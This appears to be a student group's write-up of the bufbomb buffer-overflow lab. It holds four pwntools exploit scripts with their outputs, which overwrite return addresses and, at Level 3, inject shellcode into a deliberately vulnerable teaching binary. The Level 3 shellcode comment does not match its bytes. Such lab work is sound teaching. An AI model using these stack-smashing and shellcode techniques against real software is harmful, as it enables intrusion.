

Thành viên trong nhóm 6:

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Level 0:

```
1  from pwn import *
2
3  argument = ["/./bufbomb", "-u", "088350448"]
4  p = process(argument)
5
6  cookie = 0x1cbda2e9
7  smoke = 0x80bf8c9b
8  payload = b'A'*60 + p32(cookie) + p32(smoke)
9  print(p.recv())
10 p.sendline(payload)
11
12 p.interactive()
```

```
/mnt/e/Stuff or sth like that/System_Programming/ThucHanh/Lab6.2
python3 exploit1.py
[+] Starting local process './bufbomb': pid 6305
b'Userid: 088350448\nCookie: 0x1cbda2e9\n'
[*] Switching to interactive mode
[*] Process './bufbomb' stopped with exit code 0 (pid 6305)
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
[*] Got EOF while reading in interactive
$
[*] Got EOF while sending in interactive
```

Level 1:

```

exploit2.py > ...
1  from pwn import *
2
3  argument = ["/./bufbomb", "-u", "088350448"]
4  p = process(argument)
5  fizz = 0x80bf8cc8
6  cookie = 0x1cbda2e9
7  payload = b'A'*60 + p32(cookie) + p32(fizz) + p32(0) + p32(cookie)
8  print(p.recv())
9  p.sendline(payload)
10
11  p.interactive()

```

```

python3 exploit2.py
[+] Starting local process './bufbomb': pid 6672
b'Userid: 088350448\nCookie: 0x1cbda2e9\n'
[*] Switching to interactive mode
Type string:Fizz!: You called fizz(0x1cbda2e9)
VALID
NICE JOB!
[*] Process './bufbomb' stopped with exit code 0 (pid 6672)
[*] Got EOF while reading in interactive
$
[*] Got EOF while sending in interactive

```

Level 2:

```

exploit3.py > ...
1  from pwn import *
2
3  argument = ["/./bufbomb", "-u", "088350448"]
4  p = process(argument)
5
6  cookie = 0x1cbda2e9
7  Gets = 0x80bf8f08
8  bang = 0x80bf8d19
9  Global_value = 0x80bfe160
10  payload = b'A'*60 + p32(cookie) + p32(Gets) + p32(bang) + p32(Global_value) + p32(0) + p32(cookie)
11  print(p.recv())
12  p.sendline(payload)
13
14
15  time.sleep(0.2)
16  p.sendline(p32(cookie))
17
18  p.interactive()

```

```
python3 exploit3.py
[+] Starting local process './bufbomb': pid 7083
b'Userid: 088350448\nCookie: 0x1cbda2e9\n'
[*] Switching to interactive mode
[*] Process './bufbomb' stopped with exit code 0 (pid 7083)
Type string:Bang!: You set global_value to 0x1cbda2e9
VALID
NICE JOB!
[*] Got EOF while reading in interactive
$
[*] Got EOF while sending in interactive
```

Level 3:

```
exploit4.py > ...
1  from pwn import *
2  argument = ['./bufbomb', "-u", "088350448"]
3  p = process(argument)
4  # Shellcodes for exploit
5  # mov edx, 0x1cbda2e9
6  # lea ebp, [esp+24]
7  # mov dword ptr [ebp-0xc], edx
8  # push 0x80bf8daa
9  # ret
10 cookie = 0x1cbda2e9
11 return_shellcode = 0x55683334
12 payload = b'\x90'*10 + b"\xBA\xE9\xA2\xBD\x1C\x8D\x6C\x24\x18\x89\x55\xF4\x68\xA4\x8D\xBF\x80\xC3"
13 payload += b'\x90'*(60-len(payload)) + p32(cookie) + p32(return_shellcode)
14 print(p.recv())
15 p.sendline(payload)
16 p.interactive()
```

```
python3 exploit4.py
[+] Starting local process './bufbomb': pid 7480
b'Userid: 088350448\nCookie: 0x1cbda2e9\n'
[*] Switching to interactive mode
[*] Process './bufbomb' stopped with exit code 0 (pid 7480)
Type string:Boom!: getbuf returned 0x1cbda2e9
VALID
NICE JOB!
[*] Got EOF while reading in interactive
$
[*] Got EOF while sending in interactive
```